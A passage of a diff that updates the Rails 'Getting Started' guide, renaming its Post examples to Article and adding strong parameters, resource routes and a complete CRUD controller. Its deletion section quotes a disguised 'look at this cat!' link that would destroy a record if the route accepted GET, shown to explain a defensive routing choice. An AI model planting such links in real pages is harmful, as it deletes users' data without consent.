`create` action within the `PostsController` for this to work. +You now need to create the `create` action within the `ArticlesController` for +this to work. -### Creating posts +### Creating articles -To make the "Unknown action" go away, you can define a `create` action within the `PostsController` class in `app/controllers/posts_controller.rb`, underneath the `new` action: +To make the "Unknown action" go away, you can define a `create` action within +the `ArticlesController` class in `app/controllers/articles_controller.rb`, +underneath the `new` action, as shown: ```ruby -class PostsController < ApplicationController +class ArticlesController < ApplicationController def new end @@ -407,103 +601,115 @@ class PostsController < ApplicationController end ``` -If you re-submit the form now, you'll see another familiar error: a template is missing. That's ok, we can ignore that for now. What the `create` action should be doing is saving our new post to a database. +If you re-submit the form now, you'll see another familiar error: a template is +missing. That's ok, we can ignore that for now. What the `create` action should +be doing is saving our new article to the database. -When a form is submitted, the fields of the form are sent to Rails as _parameters_. These parameters can then be referenced inside the controller actions, typically to perform a particular task. To see what these parameters look like, change the `create` action to this: +When a form is submitted, the fields of the form are sent to Rails as +_parameters_. These parameters can then be referenced inside the controller +actions, typically to perform a particular task. To see what these parameters +look like, change the `create` action to this: ```ruby def create - render text: params[:post].inspect + render plain: params[:article].inspect end ``` -The `render` method here is taking a very simple hash with a key of `text` and value of `params[:post].inspect`. The `params` method is the object which represents the parameters (or fields) coming in from the form. The `params` method returns a `HashWithIndifferentAccess` object, which allows you to access the keys of the hash using either strings or symbols. In this situation, the only parameters that matter are the ones from the form. +The `render` method here is taking a very simple hash with a key of `plain` and +value of `params[:article].inspect`. The `params` method is the object which +represents the parameters (or fields) coming in from the form. The `params` +method returns an `ActiveSupport::HashWithIndifferentAccess` object, which +allows you to access the keys of the hash using either strings or symbols. In +this situation, the only parameters that matter are the ones from the form. + +TIP: Ensure you have a firm grasp of the `params` method, as you'll use it fairly regularly. Let's consider an example URL: **http://www.example.com/?username=dhh&email=dhh@email.com**. In this URL, `params[:username]` would equal "dhh" and `params[:email]` would equal "dhh@email.com". -If you re-submit the form one more time you'll now no longer get the missing template error. Instead, you'll see something that looks like the following: +If you re-submit the form one more time you'll now no longer get the missing +template error. Instead, you'll see something that looks like the following: ```ruby -{"title"=>"First post!", "text"=>"This is my first post."} +{"title"=>"First article!", "text"=>"This is my first article."} ``` -This action is now displaying the parameters for the post that are coming in from the form. However, this isn't really all that helpful. Yes, you can see the parameters but nothing in particular is being done with them. +This action is now displaying the parameters for the article that are coming in +from the form. However, this isn't really all that helpful. Yes, you can see the +parameters but nothing in particular is being done with them. -### Creating the Post model +### Creating the Article model -Models in Rails use a singular name, and their corresponding database tables use -a plural name. Rails provides a generator for creating models, which -most Rails developers tend to use when creating new models. -To create the new model, run this command in your terminal: +Models in Rails use a singular name, and their corresponding database tables +use a plural name. Rails provides a generator for creating models, which most +Rails developers tend to use when creating new models. To create the new model, +run this command in your terminal: ```bash -$ rails generate model Post title:string text:text +$ bin/rails generate model Article title:string text:text ``` -With that command we told Rails that we want a `Post` model, together +With that command we told Rails that we want a `Article` model, together with a _title_ attribute of type string, and a _text_ attribute -of type text. Those attributes are automatically added to the `posts` -table in the database and mapped to the `Post` model. +of type text. Those attributes are automatically added to the `articles` +table in the database and mapped to the `Article` model. -Rails responded by creating a bunch of files. For -now, we're only interested in `app/models/post.rb` and -`db/migrate/20120419084633_create_posts.rb` (your name could be a bit -different). The latter is responsible -for creating the database structure, which is what we'll look at next. +Rails responded by creating a bunch of files. For now, we're only interested +in `app/models/article.rb` and `db/migrate/20140120191729_create_articles.rb` +(your name could be a bit different). The latter is responsible for creating +the database structure, which is what we'll look at next. -TIP: Active Record is smart enough to automatically map column names to -model attributes, which means you don't have to declare attributes -inside Rails models, as that will be done automatically by Active -Record. +TIP: Active Record is smart enough to automatically map column names to model +attributes, which means you don't have to declare attributes inside Rails +models, as that will be done automatically by Active Record. ### Running a Migration -As we've just seen, `rails generate model` created a _database -migration_ file inside the `db/migrate` directory. -Migrations are Ruby classes that are designed to make it simple to -create and modify database tables. Rails uses rake commands to run migrations, -and it's possible to undo a migration after it's been applied to your database. -Migration filenames include a timestamp to ensure that they're processed in the -order that they were created. +As we've just seen, `rails generate model` created a _database migration_ file +inside the `db/migrate` directory. Migrations are Ruby classes that are +designed to make it simple to create and modify database tables. Rails uses +rake commands to run migrations, and it's possible to undo a migration after +it's been applied to your database. Migration filenames include a timestamp to +ensure that they're processed in the order that they were created. -If you look in the `db/migrate/20120419084633_create_posts.rb` file (remember, -yours will have a slightly different name), here's what you'll find: +If you look in the `db/migrate/YYYYMMDDHHMMSS_create_articles.rb` file +(remember, yours will have a slightly different name), here's what you'll find: ```ruby -class CreatePosts < ActiveRecord::Migration +class CreateArticles < ActiveRecord::Migration def change - create_table :posts do |t| + create_table :articles do |t| t.string :title t.text :text - t.timestamps + t.timestamps null: false end end end ``` -The above migration creates a method named `change` which will be called when you -run this migration. The action defined in this method is also reversible, which -means Rails knows how to reverse the change made by this migration, in case you -want to reverse it later. When you run this migration it will create a -`posts` table with one string column and a text column. It also creates two -timestamp fields to allow Rails to track post creation and update times. +The above migration creates a method named `change` which will be called when +you run this migration. The action defined in this method is also reversible, +which means Rails knows how to reverse the change made by this migration, +in case you want to reverse it later. When you run this migration it will create +an `articles` table with one string column and a text column. It also creates +two timestamp fields to allow Rails to track article creation and update times. -TIP: For more information about migrations, refer to [Rails Database -Migrations](migrations.html). +TIP: For more information about migrations, refer to [Rails Database Migrations] +(migrations.html). At this point, you can use a rake command to run the migration: ```bash -$ rake db:migrate +$ bin/rake db:migrate ``` -Rails will execute this migration command and tell you it created the Posts +Rails will execute this migration command and tell you it created the Articles table. ```bash -== CreatePosts: migrating ==================================================== --- create_table(:posts) +== CreateArticles: migrating ================================================== +-- create_table(:articles) -> 0.0019s -== CreatePosts: migrated (0.0020s) =========================================== +== CreateArticles: migrated (0.0020s) ========================================= ``` NOTE. Because you're working in the development environment by default, this @@ -514,101 +720,183 @@ invoking the command: `rake db:migrate RAILS_ENV=production`. ### Saving data in the controller -Back in `posts_controller`, we need to change the `create` action -to use the new `Post` model to save the data in the database. Open `app/controllers/posts_controller.rb` -and change the `create` action to look like this: +Back in `ArticlesController`, we need to change the `create` action +to use the new `Article` model to save the data in the database. +Open `app/controllers/articles_controller.rb` and change the `create` action to +look like this: ```ruby def create - @post = Post.new(params[:post]) + @article = Article.new(params[:article]) - @post.save - redirect_to action: :show, id: @post.id + @article.save + redirect_to @article end ``` Here's what's going on: every Rails model can be initialized with its respective attributes, which are automatically mapped to the respective database columns. In the first line we do just that (remember that -`params[:post]` contains the attributes we're interested in). Then, -`@post.save` is responsible for saving the model in the database. -Finally, we redirect the user to the `show` action, -which we'll define later. +`params[:article]` contains the attributes we're interested in). Then, +`@article.save` is responsible for saving the model in the database. Finally, +we redirect the user to the `show` action, which we'll define later. + +TIP: You might be wondering why the `A` in `Article.new` is capitalized above, whereas most other references to articles in this guide have used lowercase. In this context, we are referring to the class named `Article` that is defined in `app/models/article.rb`. Class names in Ruby must begin with a capital letter. -TIP: As we'll see later, `@post.save` returns a boolean indicating -whether the model was saved or not. +TIP: As we'll see later, `@article.save` returns a boolean indicating whether +the article was saved or not. -### Showing Posts +If you now go to <http://localhost:3000/articles/new> you'll *almost* be able +to create an article. Try it! You should get an error that looks like this: -If you submit the form again now, Rails will complain about not finding -the `show` action. That's not very useful though, so let's add the -`show` action before proceeding. Open `config/routes.rb` and add the following route: +![Forbidden attributes for new article] +(images/getting_started/forbidden_attributes_for_new_article.png) + +Rails has several security features that help you write secure applications, +and you're running into one of them now. This one is called [strong parameters](action_controller_overview.html#strong-parameters), +which requires us to tell Rails exactly which parameters are allowed into our +controller actions. + +Why do you have to bother? The ability to grab and automatically assign all +controller parameters to your model in one shot makes the programmer's job +easier, but this convenience also allows malicious use. What if a request to +the server was crafted to look like a new article form submit but also included +extra fields with values that violated your applications integrity? They would +be 'mass assigned' into your model and then into the database along with the +good stuff - potentially breaking your application or worse. + +We have to whitelist our controller parameters to prevent wrongful mass +assignment. In this case, we want to both allow and require the `title` and +`text` parameters for valid use of `create`. The syntax for this introduces +`require` and `permit`. The change will involve one line in the `create` action: ```ruby -get "posts/:id" => "posts#show" + @article = Article.new(params.require(:article).permit(:title, :text)) +``` + +This is often factored out into its own method so it can be reused by multiple +actions in the same controller, for example `create` and `update`. Above and +beyond mass assignment issues, the method is often made `private` to make sure +it can't be called outside its intended context. Here is the result: + +```ruby +def create + @article = Article.new(article_params) + + @article.save + redirect_to @article +end + +private + def article_params + params.require(:article).permit(:title, :text) + end +``` + +TIP: For more information, refer to the reference above and +[this blog article about Strong Parameters] +(http://weblog.rubyonrails.org/2012/3/21/strong-parameters/). + +### Showing Articles + +If you submit the form again now, Rails will complain about not finding the +`show` action. That's not very useful though, so let's add the `show` action +before proceeding. + +As we have seen in the output of `rake routes`, the route for `show` action is +as follows: + +``` +article GET /articles/:id(.:format) articles#show ``` The special syntax `:id` tells rails that this route expects an `:id` -parameter, which in our case will be the id of the post. Note that this -time we had to specify the actual mapping, `posts#show` because -otherwise Rails would not know which action to render. +parameter, which in our case will be the id of the article. As we did before, we need to add the `show` action in -`app/controllers/posts_controller.rb` and its respective view. +`app/controllers/articles_controller.rb` and its respective view. + +NOTE: A frequent practice is to place the standard CRUD actions in each +controller in the following order: `index`, `show`, `new`, `edit`, `create`, `update` +and `destroy`. You may use any order you choose, but keep in mind that these +are public methods; as mentioned earlier in this guide, they must be placed +before any private or protected method in the controller in order to work. + +Given that, let's add the `show` action, as follows: ```ruby -def show - @post = Post.find(params[:id]) -end +class ArticlesController < ApplicationController + def show + @article = Article.find(params[:id]) + end + + def new + end + + # snipped for brevity ``` -A couple of things to note. We use `Post.find` to find the post we're -interested in. We also use an instance variable (prefixed by `@`) to -hold a reference to the post object. We do this because Rails will pass all instance +A couple of things to note. We use `Article.find` to find the article we're +interested in, passing in `params[:id]` to get the `:id` parameter from the +request. We also use an instance variable (prefixed with `@`) to hold a +reference to the article object. We do this because Rails will pass all instance variables to the view. -Now, create a new file `app/view/posts/show.html.erb` with the following +Now, create a new file `app/views/articles/show.html.erb` with the following content: ```html+erb <p> <strong>Title:</strong> - <%= @post.title %> + <%= @article.title %> </p> <p> <strong>Text:</strong> - <%= @post.text %> + <%= @article.text %> </p> ``` -Finally, if you now go to -<http://localhost:3000/posts/new> you'll -be able to create a post. Try it! +With this change, you should finally be able to create new articles. +Visit <http://localhost:3000/articles/new> and give it a try! - + -### Listing all posts +### Listing all articles -We still need a way to list all our posts, so let's do that. As usual, -we'll need a route placed into `config/routes.rb`: +We still need a way to list all our articles, so let's do that. +The route for this as per output of `rake routes` is: -```ruby -get "posts" => "posts#index" +``` +articles GET /articles(.:format) articles#index ``` -And an action for that route inside the `PostsController` in the `app/controllers/posts_controller.rb` file: +Add the corresponding `index` action for that route inside the +`ArticlesController` in the `app/controllers/articles_controller.rb` file. +When we write an `index` action, the usual practice is to place it as the +first method in the controller. Let's do it: ```ruby -def index - @posts = Post.all -end +class ArticlesController < ApplicationController + def index + @articles = Article.all + end + + def show + @article = Article.find(params[:id]) + end + + def new + end + + # snipped for brevity ``` -And then finally a view for this action, located at `app/views/posts/index.html.erb`: +And then finally, add the view for this action, located at +`app/views/articles/index.html.erb`: ```html+erb -<h1>Listing posts</h1> +<h1>Listing articles</h1> <table> <tr> @@ -616,154 +904,174 @@ And then finally a view for this action, located at `app/views/posts/index.html. <th>Text</th> </tr> - <% @posts.each do |post| %> + <% @articles.each do |article| %> <tr> - <td><%= post.title %></td> - <td><%= post.text %></td> + <td><%= article.title %></td> + <td><%= article.text %></td> </tr> <% end %> </table> ``` -Now if you go to `http://localhost:3000/posts` you will see a list of all the posts that you have created. +Now if you go to <http://localhost:3000/articles> you will see a list of all the +articles that you have created. ### Adding links -You can now create, show, and list posts. Now let's add some links to +You can now create, show, and list articles. Now let's add some links to navigate through pages. Open `app/views/welcome/index.html.erb` and modify it as follows: ```html+erb <h1>Hello, Rails!</h1> -<%= link_to "My Blog", controller: "posts" %> +<%= link_to 'My Blog', controller: 'articles' %> ``` The `link_to` method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path -for posts. +for articles. -Let's add links to the other views as well, starting with adding this "New Post" link to `app/views/posts/index.html.erb`, placing it above the `<table>` tag: +Let's add links to the other views as well, starting with adding this +"New Article" link to `app/views/articles/index.html.erb`, placing it above the +`<table>` tag: ```erb -<%= link_to 'New post', action: :new %> +<%= link_to 'New article', new_article_path %> ``` -This link will allow you to bring up the form that lets you create a new post. You should also add a link to this template — `app/views/posts/new.html.erb` — to go back to the `index` action. Do this by adding this underneath the form in this template: +This link will allow you to bring up the form that lets you create a new article. + +Now, add another link in `app/views/articles/new.html.erb`, underneath the +form, to go back to the `index` action: ```erb -<%= form_for :post do |f| %> +<%= form_for :article, url: articles_path do |f| %> ... <% end %> -<%= link_to 'Back', action: :index %> +<%= link_to 'Back', articles_path %> ``` -Finally, add another link to the `app/views/posts/show.html.erb` template to go back to the `index` action as well, so that people who are viewing a single post can go back and view the whole list again: +Finally, add a link to the `app/views/articles/show.html.erb` template to +go back to the `index` action as well, so that people who are viewing a single +article can go back and view the whole list again: ```html+erb <p> <strong>Title:</strong> - <%= @post.title %> + <%= @article.title %> </p> <p> <strong>Text:</strong> - <%= @post.text %> + <%= @article.text %> </p> -<%= link_to 'Back', action: :index %> +<%= link_to 'Back', articles_path %> ``` -TIP: If you want to link to an action in the same controller, you don't -need to specify the `:controller` option, as Rails will use the current -controller by default. +TIP: If you want to link to an action in the same controller, you don't need to +specify the `:controller` option, as Rails will use the current controller by +default. TIP: In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server when a change is made. -### Allowing the update of fields +### Adding Some Validation -The model file, `app/models/post.rb` is about as simple as it can get: +The model file, `app/models/article.rb` is about as simple as it can get: ```ruby -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base end ``` -There isn't much to this file - but note that the `Post` class inherits from +There isn't much to this file - but note that the `Article` class inherits from `ActiveRecord::Base`. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another. -### Adding Some Validation - Rails includes methods to help you validate the data that you send to models. -Open the `app/models/post.rb` file and edit it: +Open the `app/models/article.rb` file and edit it: ```ruby -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base validates :title, presence: true, length: { minimum: 5 } end ``` -These changes will ensure that all posts have a title that is at least five characters long. -Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their -format, and the existence of associated objects. Validations are covered in detail -in [Active Record Validations and Callbacks](active_record_validations_callbacks.html#validations-overview) +These changes will ensure that all articles have a title that is at least five +characters long. Rails can validate a variety of conditions in a model, +including the presence or uniqueness of columns, their format, and the +existence of associated objects. Validations are covered in detail in [Active +Record Validations](active_record_validations.html). -With the validation now in place, when you call `@post.save` on an invalid -post, it will return `false`. If you open `app/controllers/posts_controller.rb` -again, you'll notice that we don't check the result of calling `@post.save` -inside the `create` action. If `@post.save` fails in this situation, we need to -show the form back to the user. To do this, change the `new` and `create` -actions inside `app/controllers/posts_controller.rb` to these: +With the validation now in place, when you call `@article.save` on an invalid +article, it will return `false`. If you open +`app/controllers/articles_controller.rb` again, you'll notice that we don't +check the result of calling `@article.save` inside the `create` action. +If `@article.save` fails in this situation, we need to show the form back to the +user. To do this, change the `new` and `create` actions inside +`app/controllers/articles_controller.rb` to these: ```ruby def new - @post = Post.new + @article = Article.new end def create - @post = Post.new(params[:post]) + @article = Article.new(article_params) - if @post.save - redirect_to action: :show, id: @post.id + if @article.save + redirect_to @article else render 'new' end end + +private + def article_params + params.require(:article).permit(:title, :text) + end ``` -The `new` action is now creating a new instance variable called `@post`, and +The `new` action is now creating a new instance variable called `@article`, and you'll see why that is in just a few moments. -Notice that inside the `create` action we use `render` instead of `redirect_to` when `save` -returns `false`. The `render` method is used so that the `@post` object is passed back to the `new` template when it is rendered. This rendering is done within the same request as the form submission, whereas the `redirect_to` will tell the browser to issue another request. +Notice that inside the `create` action we use `render` instead of `redirect_to` +when `save` returns `false`. The `render` method is used so that the `@article` +object is passed back to the `new` template when it is rendered. This rendering +is done within the same request as the form submission, whereas the +`redirect_to` will tell the browser to issue another request. If you reload -<http://localhost:3000/posts/new> and -try to save a post without a title, Rails will send you back to the +<http://localhost:3000/articles/new> and +try to save an article without a title, Rails will send you back to the form, but that's not very useful. You need to tell the user that something went wrong. To do that, you'll modify -`app/views/posts/new.html.erb` to check for error messages: +`app/views/articles/new.html.erb` to check for error messages: ```html+erb -<%= form_for :post, url: { action: :create } do |f| %> - <% if @post.errors.any? %> - <div id="errorExplanation"> - <h2><%= pluralize(@post.errors.count, "error") %> prohibited - this post from being saved:</h2> - <ul> - <% @post.errors.full_messages.each do |msg| %> - <li><%= msg %></li> - <% end %> - </ul> - </div> +<%= form_for :article, url: articles_path do |f| %> + + <% if @article.errors.any? %> + <div id="error_explanation"> + <h2> + <%= pluralize(@article.errors.count, "error") %> prohibited + this article from being saved: + </h2> + <ul> + <% @article.errors.full_messages.each do |msg| %> + <li><%= msg %></li> + <% end %> + </ul> + </div> <% end %> + <p> <%= f.label :title %><br> <%= f.text_field :title %> @@ -777,71 +1085,85 @@ something went wrong. To do that, you'll modify <p> <%= f.submit %> </p> + <% end %> -<%= link_to 'Back', action: :index %> +<%= link_to 'Back', articles_path %> ``` A few things are going on. We check if there are any errors with -`@post.errors.any?`, and in that case we show a list of all -errors with `@post.errors.full_messages`. +`@article.errors.any?`, and in that case we show a list of all +errors with `@article.errors.full_messages`. `pluralize` is a rails helper that takes a number and a string as its -arguments. If the number is greater than one, the string will be automatically pluralized. +arguments. If the number is greater than one, the string will be automatically +pluralized. -The reason why we added `@post = Post.new` in `posts_controller` is that -otherwise `@post` would be `nil` in our view, and calling -`@post.errors.any?` would throw an error. +The reason why we added `@article = Article.new` in the `ArticlesController` is +that otherwise `@article` would be `nil` in our view, and calling +`@article.errors.any?` would throw an error. TIP: Rails automatically wraps fields that contain an error with a div with class `field_with_errors`. You can define a css rule to make them standout. -Now you'll get a nice error message when saving a post without title when you -attempt to do just that on the new post form [(http://localhost:3000/posts/new)](http://localhost:3000/posts/new). +Now you'll get a nice error message when saving an article without title when +you attempt to do just that on the new article form +<http://localhost:3000/articles/new>:  -### Updating Posts - -We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating posts. +### Updating Articles -The first step we'll take is adding an `edit` action to `posts_controller`. +We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating +articles. -Start by adding a route to `config/routes.rb`: +The first step we'll take is adding an `edit` action to the `ArticlesController`, +generally between the `new` and `create` actions, as shown: ```ruby -get "posts/:id/edit" => "posts#edit" -``` - -And then add the controller action: +def new + @article = Article.new +end -```ruby def edit - @post = Post.find(params[:id]) + @article = Article.find(params[:id]) +end + +def create + @article = Article.new(article_params) + + if @article.save + redirect_to @article + else + render 'new' + end end ``` The view will contain a form similar to the one we used when creating -new posts. Create a file called `app/views/posts/edit.html.erb` and make +new articles. Create a file called `app/views/articles/edit.html.erb` and make it look as follows: ```html+erb -<h1>Editing post</h1> - -<%= form_for :post, url: { action: :update, id: @post.id }, -method: :put do |f| %> - <% if @post.errors.any? %> - <div id="errorExplanation"> - <h2><%= pluralize(@post.errors.count, "error") %> prohibited - this post from being saved:</h2> - <ul> - <% @post.errors.full_messages.each do |msg| %> - <li><%= msg %></li> - <% end %> - </ul> - </div> +<h1>Editing article</h1> + +<%= form_for :article, url: article_path(@article), method: :patch do |f| %> + + <% if @article.errors.any? %> + <div id="error_explanation"> + <h2> + <%= pluralize(@article.errors.count, "error") %> prohibited + this article from being saved: + </h2> + <ul> + <% @article.errors.full_messages.each do |msg| %> + <li><%= msg %></li> + <% end %> + </ul> + </div> <% end %> + <p> <%= f.label :title %><br> <%= f.text_field :title %> @@ -855,84 +1177,102 @@ method: :put do |f| %> <p> <%= f.submit %> </p> + <% end %> -<%= link_to 'Back', action: :index %> +<%= link_to 'Back', articles_path %> ``` This time we point the form to the `update` action, which is not defined yet but will be very soon. -The `method: :put` option tells Rails that we want this form to be -submitted via the `PUT` HTTP method which is the HTTP method you're expected to use to +The `method: :patch` option tells Rails that we want this form to be submitted +via the `PATCH` HTTP method which is the HTTP method you're expected to use to **update** resources according to the REST protocol. -TIP: By default forms built with the _form_for_ helper are sent via `POST`. +The first parameter of `form_for` can be an object, say, `@article` which would +cause the helper to fill in the form with the fields of the object. Passing in a +symbol (`:article`) with the same name as the instance variable (`@article`) +also automagically leads to the same behavior. This is what is happening here. +More details can be found in [form_for documentation] +(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for). -Next, we need to add the `update` action. The file -`config/routes.rb` will need just one more line: +Next, we need to create the `update` action in +`app/controllers/articles_controller.rb`. +Add it between the `create` action and the `private` method: ```ruby -put "posts/:id" => "posts#update" -``` +def create + @article = Article.new(article_params) -And then create the `update` action in `app/controllers/posts_controller.rb`: + if @article.save + redirect_to @article + else + render 'new' + end +end -```ruby def update - @post = Post.find(params[:id]) + @article = Article.find(params[:id]) - if @post.update_attributes(params[:post]) - redirect_to action: :show, id: @post.id + if @article.update(article_params) + redirect_to @article else render 'edit' end end + +private + def article_params + params.require(:article).permit(:title, :text) + end ``` -The new method, `update_attributes`, is used when you want to update a record +The new method, `update`, is used when you want to update a record that already exists, and it accepts a hash containing the attributes that you want to update. As before, if there was an error updating the -post we want to show the form back to the user. +article we want to show the form back to the user. -TIP: You don't need to pass all attributes to `update_attributes`. For -example, if you'd call `@post.update_attributes(title: 'A new title')` +We reuse the `article_params` method that we defined earlier for the create +action. + +TIP: You don't need to pass all attributes to `update`. For +example, if you'd call `@article.update(title: 'A new title')` Rails would only update the `title` attribute, leaving all other attributes untouched. Finally, we want to show a link to the `edit` action in the list of all the -posts, so let's add that now to `app/views/posts/index.html.erb` to make it -appear next to the "Show" link: +articles, so let's add that now to `app/views/articles/index.html.erb` to make +it appear next to the "Show" link: ```html+erb <table> <tr> <th>Title</th> <th>Text</th> - <th></th> - <th></th> + <th colspan="2"></th> </tr> -<% @posts.each do |post| %> - <tr> - <td><%= post.title %></td> - <td><%= post.text %></td> - <td><%= link_to 'Show', action: :show, id: post.id %></td> - <td><%= link_to 'Edit', action: :edit, id: post.id %></td> - </tr> -<% end %> + <% @articles.each do |article| %> + <tr> + <td><%= article.title %></td> + <td><%= article.text %></td> + <td><%= link_to 'Show', article_path(article) %></td> + <td><%= link_to 'Edit', edit_article_path(article) %></td> + </tr> + <% end %> </table> ``` -And we'll also add one to the `app/views/posts/show.html.erb` template as well, -so that there's also an "Edit" link on a post's page. Add this at the bottom of -the template: +And we'll also add one to the `app/views/articles/show.html.erb` template as +well, so that there's also an "Edit" link on an article's page. Add this at the +bottom of the template: ```html+erb ... -<%= link_to 'Back', action: :index %> -| <%= link_to 'Edit', action: :edit, id: @post.id %> +<%= link_to 'Back', articles_path %> | +<%= link_to 'Edit', edit_article_path(@article) %> ``` And here's how our app looks so far: @@ -941,30 +1281,34 @@ And here's how our app looks so far: ### Using partials to clean up duplication in views -Our `edit` page looks very similar to the `new` page, in fact they -both share the same code for displaying the form. Let's remove some duplication -by using a view partial. By convention, partial files are prefixed by an -underscore. +Our `edit` page looks very similar to the `new` page; in fact, they +both share the same code for displaying the form. Let's remove this +duplication by using a view partial. By convention, partial files are +prefixed with an underscore. TIP: You can read more about partials in the [Layouts and Rendering in Rails](layouts_and_rendering.html) guide. -Create a new file `app/views/posts/_form.html.erb` with the following +Create a new file `app/views/articles/_form.html.erb` with the following content: ```html+erb -<%= form_for @post do |f| %> - <% if @post.errors.any? %> - <div id="errorExplanation"> - <h2><%= pluralize(@post.errors.count, "error") %> prohibited - this post from being saved:</h2> - <ul> - <% @post.errors.full_messages.each do |msg| %> - <li><%= msg %></li> - <% end %> - </ul> - </div> +<%= form_for @article do |f| %> + + <% if @article.errors.any? %> + <div id="error_explanation"> + <h2> + <%= pluralize(@article.errors.count, "error") %> prohibited + this article from being saved: + </h2> + <ul> + <% @article.errors.full_messages.each do |msg| %> + <li><%= msg %></li> + <% end %> + </ul> + </div> <% end %> + <p> <%= f.label :title %><br> <%= f.text_field :title %> @@ -978,110 +1322,124 @@ content: <p> <%= f.submit %> </p> + <% end %> ``` Everything except for the `form_for` declaration remained the same. -How `form_for` can figure out the right `action` and `method` attributes -when building the form will be explained in just a moment. For now, let's update the -`app/views/posts/new.html.erb` view to use this new partial, rewriting it -completely: +The reason we can use this shorter, simpler `form_for` declaration +to stand in for either of the other forms is that `@article` is a *resource* +corresponding to a full set of RESTful routes, and Rails is able to infer +which URI and method to use. +For more information about this use of `form_for`, see [Resource-oriented style] +(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for-label-Resource-oriented+style). + +Now, let's update the `app/views/articles/new.html.erb` view to use this new +partial, rewriting it completely: ```html+erb -<h1>New post</h1> +<h1>New article</h1> <%= render 'form' %> -<%= link_to 'Back', action: :index %> +<%= link_to 'Back', articles_path %> ``` -Then do the same for the `app/views/posts/edit.html.erb` view: +Then do the same for the `app/views/articles/edit.html.erb` view: ```html+erb -<h1>Edit post</h1> +<h1>Edit article</h1> <%= render 'form' %> -<%= link_to 'Back', action: :index %> +<%= link_to 'Back', articles_path %> ``` -Point your browser to <http://localhost:3000/posts/new> and -try creating a new post. Everything still works. Now try editing the -post and you'll receive the following error: - - +### Deleting Articles -To understand this error, you need to understand how `form_for` works. -When you pass an object to `form_for` and you don't specify a `:url` -option, Rails will try to guess the `action` and `method` options by -checking if the passed object is a new record or not. Rails follows the -REST convention, so to create a new `Post` object it will look for a -route named `posts_path`, and to update a `Post` object it will look for -a route named `post_path` and pass the current object. Similarly, rails -knows that it should create new objects via POST and update them via -PUT. +We're now ready to cover the "D" part of CRUD, deleting articles from the +database. Following the REST convention, the route for +deleting articles as per output of `rake routes` is: -If you run `rake routes` from the console you'll see that we already -have a `posts_path` route, which was created automatically by Rails when we -defined the route for the index action. -However, we don't have a `post_path` yet, which is the reason why we -received an error before. With your server running you can view your routes by visiting [localhost:3000/rails/info/routes](http://localhost:3000/rails/info/routes), or you can generate them from the command line by running `rake routes`: +```ruby +DELETE /articles/:id(.:format) articles#destroy +``` -```bash -$ rake routes +The `delete` routing method should be used for routes that destroy +resources. If this was left as a typical `get` route, it could be possible for +people to craft malicious URLs like this: - posts GET /posts(.:format) posts#index -posts_new GET /posts/new(.:format) posts#new - POST /posts(.:format) posts#create - GET /posts/:id(.:format) posts#show - GET /posts/:id/edit(.:format) posts#edit - PUT /posts/:id(.:format) posts#update - root / welcome#index +```html +<a href='http://example.com/articles/1/destroy'>look at this cat!</a> ``` -To fix this, open `config/routes.rb` and modify the `get "posts/:id"` -line like this: +We use the `delete` method for destroying resources, and this route is mapped +to the `destroy` action inside `app/controllers/articles_controller.rb`, which +doesn't exist yet. The `destroy` method is generally the last CRUD action in +the controller, and like the other public CRUD actions, it must be placed +before any `private` or `protected` methods. Let's add it: ```ruby -get "posts/:id" => "posts#show", as: :post +def destroy + @article = Article.find(params[:id]) + @article.destroy + + redirect_to articles_path +end ``` -The `:as` option tells the `get` method that we want to make routing helpers -called `post_url` and `post_path` available to our application. These are -precisely the methods that the `form_for` needs when editing a post, and so now -you'll be able to update posts again. +The complete `ArticlesController` in the +`app/controllers/articles_controller.rb` file should now look like this: -NOTE: The `:as` option is available on the `post`, `put`, `delete` and `match` -routing methods also. +```ruby +class ArticlesController < ApplicationController + def index + @articles = Article.all + end -### Deleting Posts + def show + @article = Article.find(params[:id]) + end -We're now ready to cover the "D" part of CRUD, deleting posts from the -database. Following the REST convention, we're going to add a route for -deleting posts to `config/routes.rb`: + def new + @article = Article.new + end -```ruby -delete "posts/:id" => "posts#destroy" -``` + def edit + @article = Article.find(params[:id]) + end -The `delete` routing method should be used for routes that destroy -resources. If this was left as a typical `get` route, it could be possible for -people to craft malicious URLs like this: + def create + @article = Article.new(article_params) -```html -<a href='http://example.com/posts/1/destroy'>look at this cat!</a> -``` + if @article.save + redirect_to @article + else + render 'new' + end + end -We use the `delete` method for destroying resources, and this route is mapped to -the `destroy` action inside `app/controllers/posts_controller.rb`, which doesn't exist yet, but is -provided below: + def update + @article = Article.find(params[:id]) -```ruby -def destroy - @post = Post.find(params[:id]) - @post.destroy + if @article.update(article_params) + redirect_to @article + else + render 'edit' + end + end + + def destroy + @article = Article.find(params[:id]) + @article.destroy + + redirect_to articles_path + end - redirect_to action: :index + private + def article_params + params.require(:article).permit(:title, :text) + end end ``` @@ -1089,124 +1447,72 @@ You can call `destroy` on Active Record objects when you want to delete them from the database. Note that we don't need to add a view for this action since we're redirecting to the `index` action. -Finally, add a 'destroy' link to your `index` action template -(`app/views/posts/index.html.erb`) to wrap everything -together. +Finally, add a 'Destroy' link to your `index` action template +(`app/views/articles/index.html.erb`) to wrap everything together. ```html+erb -<h1>Listing Posts</h1> +<h1>Listing Articles</h1> +<%= link_to 'New article', new_article_path %> <table> <tr> <th>Title</th> <th>Text</th> - <th></th> - <th></th> - <th></th> + <th colspan="3"></th> </tr> -<% @posts.each do |post| %> - <tr> - <td><%= post.title %></td> - <td><%= post.text %></td> - <td><%= link_to 'Show', action: :show, id: post.id %></td> - <td><%= link_to 'Edit', action: :edit, id: post.id %></td> - <td><%= link_to 'Destroy', { action: :destroy, id: post.id }, - method: :delete, data: { confirm: 'Are you sure?' } %></td> - </tr> -<% end %> + <% @articles.each do |article| %> + <tr> + <td><%= article.title %></td> + <td><%= article.text %></td> + <td><%= link_to 'Show', article_path(article) %></td> + <td><%= link_to 'Edit', edit_article_path(article) %></td> + <td><%= link_to 'Destroy', article_path(article), + method: :delete, + data: { confirm: 'Are you sure?' } %></td> + </tr> + <% end 